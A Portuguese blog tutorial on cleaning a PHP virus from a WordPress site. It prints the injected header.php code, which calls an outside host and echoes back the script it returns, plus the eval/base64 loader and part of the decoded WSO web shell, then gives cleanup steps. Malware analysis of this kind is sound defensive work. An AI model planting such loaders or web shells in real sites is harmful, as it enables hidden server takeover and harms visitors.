Eliminar WordPress Virus PHP

Este tutorial apresenta um caso particular em que um blog WordPress estava infectado. Remoção WordPress Vírus PHP.

Outro dia notei um código suspeito que parece ser um vírus PHP para WordPress. O seguinte código PHP estava presente no header.php, antes da linha </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Este é um código PHP que parece estar tentando recuperar o conteúdo de um recurso de um servidor externo, mas a parte que se refere à URL está incompleta.

O mecanismo de trabalho é um pouco mais complexo e faz isso WordPress Vírus PHP invisível para os visitantes dos sites afetados. Em vez disso, ele visa os mecanismos de pesquisa (Google) e leva implicitamente a uma diminuição significativa no número de visitantes dos sites afetados.

Detalhes do malware WordPress Virus PHP

1. O código acima está presente em header.php.

2. Um arquivo apareceu no servidor wp-log.php na pasta wp-includes.

3. wp-log.php contém um código criptografado, mas que é relativamente fácil de descriptografar.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Descriptografar código de malware de wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Este parece ser um script PHP malicioso que contém código para lidar com autenticação e ações em arquivos e diretórios em um servidor. Pode-se ver facilmente que este script contém variáveis ​​como $auth_pass (senha de autenticação), $default_action (a ação padrão), $default_use_ajax (usando Ajax por padrão) e $default_charset (configuração padrão de caracteres).

Obviamente, este script tem uma seção que verifica os agentes de usuário HTTP para bloquear o acesso a determinados bots da web, como mecanismos de pesquisa. Ele também possui uma seção que verifica o modo de segurança do PHP e define certos diretórios de trabalho.

4. Se wp-log.php for acessado no navegador, uma página da web aparecerá com um campo de autenticação. À primeira vista, parece ser um gerenciador de arquivos por meio do qual novos arquivos podem ser facilmente carregados no servidor de destino.

Como você devirus um site WordPress?

Sempre, o processo manual de remoção de vírus envolve primeiro descobrir e entender qual era a vulnerabilidade.

1. Gere um backup de todo o site. Isso deve incluir os arquivos e o banco de dados.

2. Determine aproximadamente há quanto tempo o vírus existe e pesquise no servidor da web por arquivos modificados ou recém-criados dentro do prazo aproximado.

Por exemplo, se você quiser ver os arquivos .php criado ou modificado na última semana, execute o comando no servidor:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

É um método simples pelo qual você pode descobrir os arquivos WordPress infectados e aqueles que contêm código de malware.

3. Verifique o arquivo .htaccess de diretivas suspeitas. Linhas de permissão ou execução de script.

4. Verifique o banco de dados. É bem possível que alguns posts e páginas WordPress ser editado com malware ou novos adicionados usuários com papel de administrator.

5. Verifique as permissões de gravação para pastas e arquivos. chmod şi chown.

As permissões recomendadas são: 644 para arquivos e 755 para diretórios.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Atualize tudo WordPress Plugins / WordPress Themes.

Relacionado: Fix Redirect WordPress Hack 2023 (vírus de redirecionamento)

Estes são métodos "básicos" pelos quais você pode desvirusar um site/blog WordPress. Se você tiver problemas e precisar de ajuda, a seção de comentários está aberta.

Apaixonado por tecnologia, escrevo com prazer no StealthSettings.com desde 2006. Tenho uma ampla experiência em sistemas operacionais: macOS, Windows e Linux, assim como em linguagens de programação e plataformas de blogs (WordPress) e para lojas online (WooCommerce, Magento, PrestaShop).

Como » WordPress » Eliminar WordPress Virus PHP
Deixe um comentário